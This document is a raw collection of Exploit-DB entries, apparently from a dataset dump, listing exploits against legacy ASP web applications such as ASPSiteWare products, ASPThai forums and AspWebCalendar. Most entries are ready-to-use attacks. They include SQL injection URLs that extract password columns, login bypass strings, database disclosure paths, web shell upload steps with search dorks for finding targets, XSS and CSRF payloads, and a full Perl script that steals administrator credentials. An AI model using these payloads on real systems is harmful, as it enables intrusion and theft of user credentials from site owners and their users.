deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1845
Description: ASPSitem 2.0 - SQL Injection / Database Disclosure
Type: webapps
Platform: asp
Date: 2006-05-28
Author: nukedx

Exploit:
ASPSitem <= 2.0 Multiple Vulnerabilities.
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on ASPSitem <= 2.0.
Original advisory can be found at: http://www.nukedx.com/?viewdoc=39
SQL injection ->
GET -> http://[victim]/[ASPSitemDir]/Anket.asp?hid=[SQL]
EXAMPLE -> http://[victim]/[ASPSitemDir]/Anket.asp?hid=4%20union%20select%20sifre,0%20from%20uyeler%20where%20
id%20like%201
with this example remote attacker can leak userid 1's login information from database.
Read others private messages ->
GET/EXAMPLE -> http://[victim]/[ASPSitemDir]/Hesabim.asp?mesaj=oku&id=1&uye=yourusername

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28]
Exploit-DB #15682
Description: ASPSiteWare ASP Gallery 1.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: ASPSiteware Gallery SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link: www.aspsiteware.com
# Category:WebApp
#Demo Link:http://www.aspsiteware.com/Gallery/
#Version:1.0
#Price:50$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

###################################################################
[Product Detail]

ASP Gallery is a web based image gallery application.
Backend by Access database, ASP Gallery can store thousands of images in categories.
Each image is displayed with name and description.
You can customize ASP Gallery for the look and feel of your website.
ASP Gallery is an excellent add-on application for your web site.
It is designed to be a complete ready-to-use image listing.You just add your images.
Start posting your images online and attracting more customers to your site by using this application.
 
[Vulnerability]

SQL Injection:

http://server/Gallery/type.asp?iType=[Code]
###################################################################
Exploit-DB #15683
Description: ASPSiteWare Contact Directory 1.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: ASPSiteware Contact Directory SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link: www.aspsiteware.com
# Category:WebApp
#Version:1.0
#Price:40$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

Contact Directory is an application that allows you to set up and share contacts online.
Great for a club or organization web site or for personal use.
Backend by Access database, Contact Directory can store thousands of names and contact information
in alphabetical categories.
 
[Vulnerability]

SQL Injection:
http://server/Directory/type.asp?iType=[Code]
########################################################################################
Exploit-DB #7462
Description: ASPSiteWare Home Builder 1.0/2.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-14
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Home Builder V1.0 / V2.0
#download : null
#Demo     : http://www.aspsiteware.com/Home1/
	    http://www.aspsiteware.com/home2/home2/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.aspsiteware.com/Home1/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
http://www.aspsiteware.com/home2/home2/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
http://www.aspsiteware.com/home2/home2/type2.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users


#Greetz For CrimeIRC NetWork  [ IRC.CrimeIRC.Net ] Syst3m UnkOwn and all Staff

###########################################################################

# milw0rm.com [2008-12-14]
Exploit-DB #15681
Description: ASPSiteWare JobPost 1.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: ASPSiteware JobPost SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link: www.aspsiteware.com
# Category:WebApp
#Version:1.0
#Price:40$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

JobPost is an application ideal for the small or independent business or association who need a way to post 
and update job openings internally or on the internet. Ideal for intranets Backend by Access database, 
JobPost can store thousands of job postings in categories.
 
[Vulnerability]

SQL Injection:

http://server/JobPost/type.asp?iType=[Code]
########################################################################################
Exploit-DB #15680
Description: ASPSiteWare Project Reporter - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: ASPSiteware Project Reporter SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link: www.aspsiteware.com
# Category:WebApp
#Version:1.0
#Price:50$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

Project Reporter is an application for any organization that needs to share information on projects in real time.
Project Teams can review project information and submit update reports on projects they are involved with.
Backend by Access database, Project Reporter can store thousands of reports by project.
Works great with a member management system that allows you to manage registered members of your web site 
allowing members to see reports only on the projects they are assigned.
 
[Vulnerability]

SQL Injection:

http://server/Project/type.asp?iType=[Code]
########################################################################################
Exploit-DB #7464
Description: ASPSiteWare RealtyListing 1.0/2.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-14
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : RealtyListing V1/V2
#download : null
#Demo     : http://www.aspsiteware.com/Realty1
	    http://www.aspsiteware.com/realty2/realty2/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.aspsiteware.com/Realty1/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users#
http://www.aspsiteware.com/Realty1/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users#
http://www.aspsiteware.com/realty2/realty2/detail.asp?iPro=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users
http://www.aspsiteware.com/realty2/realty2/type.asp?iType=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users


###########################################################################

# milw0rm.com [2008-12-14]
Exploit-DB #15679
Description: ASPSiteWare Recipe ORGanizer - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: ASPSiteware Recipe Organizer SQL injection Vulnerability
# Date: 04-12-2010
# Vendor or Software Link: www.aspsiteware.com
# Category:WebApp
#Version:1.0
#Price:50$
#Contact: R4dc0re@yahoo.fr
#Website: www.1337db.com
#Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members 

Submit Your Exploit at Submit@1337db.com
 
########################################################################################
[Product Detail]

Recipe Organizer is an application that allows you to setup and share your recipes online. 
Great for personal use or as part of a cooking, diet or food related web site. 
Backend by Access database, Recipe Organizer can store thousands of recipes in an unlimited number
of categories.
 
[Vulnerability]

SQL Injection:

http://server/Recipes/type.asp?iType=[Code]
########################################################################################
Exploit-DB #27142
Description: ASPThai Forums 8.0 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-01-19
Author: code.shell

Exploit:
source: https://www.securityfocus.com/bid/16404/info

ASPThai Forums is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.


Version 8.0 and earlier are reported to be vulnerable; other versions may also be affected. Version 8.5 and later are reported to be invulnerable. 

http://www.example.com/[Forum target]/login.asp

username: admin

password: ' or '
Exploit-DB #7292
Description: ASPThai.Net Forum 8.5 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-11-29
Author: CWH Underground

Exploit:
==================================================================
  ASPThai.NET Forum 8.5 Remote Database Disclosure Vulnerability
==================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 29 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : ASPThai.NET Forum
 VERSION     : 8.5
 VENDOR	     : www.aspthai.net
#####################################################

http://[Target]/database/aspthaiForum.mdb

# milw0rm.com [2008-11-29]
Exploit-DB #1472
Description: ASPThai.Net Guestbook 5.5 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-02-06
Author: Zodiac

Exploit:
#!/usr/bin/perl
# SQL Injection Exploit for ASPThai.Net Guestbook <= 5.5  
#(And possible higher could not find a site to test it on)
# This exploit shows the username of the administrator and the password In plain text
# Bug Found by muderskillz Coded by Zodiac
# Shouts to cijfer,uid0,|n|ex,ph4tel,z3r0,lethal, Felosi,seven,Spic and anyone else I forgot.
# http://exploitercode.com/ http://www.g00ns.net 
#irc.g00ns.net #g00ns  email = zodiac@g00ns.net
#(c) 2006

use LWP::UserAgent;
use HTTP::Cookies;

$Server = $ARGV[0];

if($Server =~m/http/g)
{
$Server=~ 'http://$Server';
print 
}
else {
  print $error;
}

if(!$Server) {usage();exit() ;}

head();

print "\r\nGrabbing Username And Password\r\n\n";

#Login's and stores a cookie to view admin panel later


 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();

 $xpl->agent('g00ns');
 $xpl->cookie_jar($cookie_jar);

 $res = $xpl->post(
 $Server.'check_user.asp',
 Content => [ 

	'txtUserName' => '\' or \'%67%30%30%6e%73\'=\'%67%30%30%6e%73', 
	'txtUserPass' => '\' or \'%67%30%30%6e%73\'=\'%67%30%30%6e%73',
	'Submit' => '-= Login =-',
 ],
 );

# Create a request
my $req = HTTP::Request->new(GET => 

$Server.'change_admin_username.asp'

);

$req->header('Referer', $Server.'admin_menu.asp');

my $res = $xpl->request($req);

$info= $res->content;

if($info =~ m/Unauthorised\sAccess|The\spage\scannot\sbe\sfound/) 
{ 
 die "Error Connecting...\r\n"; 
}

#Check the outcome of the response

$info=~m/(value=\")(\n+|\w+|\W+)/g;
$User = $2;
$info=~m/(value=\")(\n+|\w+|\W+)/g;
$Pass= $2;

print "UserName:$User\r\nPassword:$Pass\r\n";

sub head()
 {
 print "\n=======================================================================\r\n";
 print "* ASPThai.Net Guestbook version 5.5 SQL Injection by www.g00ns.net *\r\n";   
 print "=======================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: Thaisql.pl <Site>  \r\n\n";
 print " <Site> - Full path to Guestbook e.g. http://www.site.com/guestbook/ \r\n";
 print "=======================================================================\r\n";
 print "   -=Coded by Zodiac, Bug Found by MurderSkillz=-\r\n";
 print "www.exploitercode.com www.g00ns.net irc.g00ns.net #g00ns\r\n";
 print "=======================================================================\r\n";

# milw0rm.com [2006-02-06]
Exploit-DB #3035
Description: ASPTicker 1.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-12-28
Author: ajann

Exploit:
*******************************************************************************
# Title   :  ASPTicker 1.0 (admin.asp) Remote Login ByPass SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.aspapps.com
# $$      :  $ 17.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin.asp[ByPass]

Example:

//Password} 'union select 0,0,0 from password

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-28]
Exploit-DB #7359
Description: ASPTicker 1.0 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-05
Author: ZoRLu

Exploit:
[~] ASPTicker 1.0 DD Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------


exp for demo: ( DD )

http://demo.merlix.com/ticker/news.mdb

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-05]
Exploit-DB #13891
Description: AspTR EXtended - Cross-Site Request Forgery
Type: webapps
Platform: asp
Date: 2010-06-16
Author: FreWaL

Exploit:
##################################################################################
<frewal>
Target site :<form method="POST" action="http://www.asptr.net/Uye.asp?Uye=Kaydet">
<p>Password : <input type="text" name="sifre" size="49" value="sifre"></p>
<p>E-Mail : <input type="text" name="mail" size="49" value="mail"></p>
<p>Secret question : <input type="text" name="soru" size="49" value="soru"></p>
<p><span id="result_box" class="short_text"><span style title>Reply
: </span></span><input type="text" name="cevap" size="49" value="cevap"></p>
<p>Name : <input type="text" name="ad" size="49" value="ad"></p>
<p>Last Name : <input type="text" name="soyad" size="49" value="soyad"></p>
<p>Dont Changing : <select size="1" name="sehir" id="sehir">
<option value="Adana">Adana</option></p>
<p>Profession :<input type="text" name="meslek" size="49" value="meslek"></p>
<p>Msn :<input type="text" name="msn" size="49" value="msn"></p>
<p>Web :<input type="text" name="web" size="49" value="web"></p>
<p>
Sex
:<select name="cinsiyet" size="1">
<option>Bay</option>
<option>Bay</option>
<option>Bayan</option>
</select>
</p>
<p>Avatar :<input type="text" name="icon" size="49" value="icon"></p>
<p> </p>
<p> </p>

</form>
</frewal>

##################################################################################

Crew : IMHATIMI.ORG ~ MecTruy ~ Dr.Ly0n ~ Noxy ~ FreWaL

##################################################################################
Exploit-DB #5850
Description: AspWebCalendar 2008 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2008-06-18
Author: Alemin_Krali

Exploit:
Title:AspWebCalendar 2008 Remote File Upload Vulnerability

# Discovered by : Alemin_Krali  

# Dork :calendar.asp?eventdetail

http://[site.com]/path/calendar_admin.asp?action=uploadfile ==>>> upload your Asp shell

http://[site.com]/path/calendar/eventimages/yourshell.asp ==>>> your address

upload form

<FORM ENCTYPE='multipart/form-data' METHOD='post' ACTION='http://HOST/PATH//calendar_admin.asp?action=uploadfileprocess&form=&element='><FONT <FONT COLOR='blue' >http://example.com/path/calendar/eventimages/</FONT></FONT><BR><INPUT TYPE=FILE SIZE=56 NAME='FILE1'><BR><BR><INPUT TYPE='submit' VALUE='pwned'></FORM></P>


Sp thnx:Cr@zy_King Kerem125 Jextoxic Abo Mohammed

# milw0rm.com [2008-06-18]
Exploit-DB #3546
Description: AspWebCalendar 4.5 - 'eventid' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-22
Author: parad0x

Exploit:
*******************************************************************************
# Title   :  aspWebCalendar Remote SQL Injection Vulnerability
# Author  :  parad0x
# Contact :  :(
# D.Page  :  http://www.scriptdungeon.com/script.php?ScriptID=4306
# $$      :  free
#S.Page : http://fullrevolution.com
*******************************************************************************
http://[target]/[path]/calendar.asp?action=viewevent&eventid=[SQL]

Example:

/calendar.asp?action=viewevent&eventid=-1%20union%20select%200,Cal_ConfigId,Cal_ConfigAdminPassword,3,4,5,6,7,8,9%20from%20Cal_config

"""""""""""""""""""""
greetz : VoLqaN, x-MastER,Ekin0x,xoron

"""""""""""""""""""""
www.p4r4d0x.com

# milw0rm.com [2007-03-22]
Exploit-DB #12693
Description: Asset Manager - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2010-05-22
Author: Ra3cH

Exploit:
************************************************************
** 	 Asset Manager Remote File upload Vulnerability
**
************************************************************
**  Prodcut:		Asset Manager   
**  Home   : 		N/A
**  Vunlerability :		Remote File upload
**  Risk  :		High
**  Dork : 		inurl:Editor/assetmanager/assetmanager.asp
************************************************************
** Discovred by:	Ra3cH
** From	       :	Algeria
** Contact     : 	e51@hotmail.fr
** *********************************************************
************************************************************
**  Exploit:
**  http://[PATH]/assetmanager/assetmanager.asp
**  
**
**  and upload your shell .... dz4all.asp;.jpg 
**  
************************************************************
**
**
**
** Greetz to :     ALLAH
**         All Members of  http://www.DZ4All.cOm/Cc
**          And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n & 
***********************************************************
Exploit-DB #31104
Description: AstroSoft HelpDesk - '/operator/article/article_attachment.asp?Attach_Id' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-02-04
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27610/info
 
AstroSoft HelpDesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[installdir]/operator/article/article_attachment.asp?Attach_Id="<script>alert(&#039;DSecRG XSS&#039;)</script>
Exploit-DB #31103
Description: AstroSoft HelpDesk - '/operator/article/article_search_results.asp?txtSearch' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-02-04
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/27610/info

AstroSoft HelpDesk is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/[installdir]/operator/article/article_search_results.asp?txtSearch="></form><IMG SRC=javascript:alert(&#039;DSecRG XSS&#039;)>"
Exploit-DB #36011
Description: Ataccan E-Ticaret Scripti - 'id' SQL Injection
Type: webapps
Platform: asp
Date: 2011-08-03
Author: Err0R

Exploit:
source: https://www.securityfocus.com/bid/48970/info

Ataccan E-ticaret scripti is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/name.asp?id=[SQLInjection]
Exploit-DB #15139
Description: AtomatiCMS - Upload Arbitrary File
Type: webapps
Platform: asp
Date: 2010-09-28
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''



Abysssec Inc Public Advisory
 
 
  Title            :  AtomatiCMS Upload arbitrary file Vulnerability
  Affected Version :  AtomatiCMS 10_all
  Discovery        :  www.abysssec.com
  Vendor	   :  http://www.atomaticsoftware.com
  Download Links   :  http://sourceforge.net/projects/atomaticms/

 
Description :
===========================================================================================      
  This version of AtomatiCMS have Upload arbitrary file Vulnerability  with fckEditor
  in this Paths:
  
       http://Example.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
       http://Example.com/FCKeditor/editor/filemanager/upload/test.html
  

   Which your files will be in this path:
       .../UserFiles/



===========================================================================================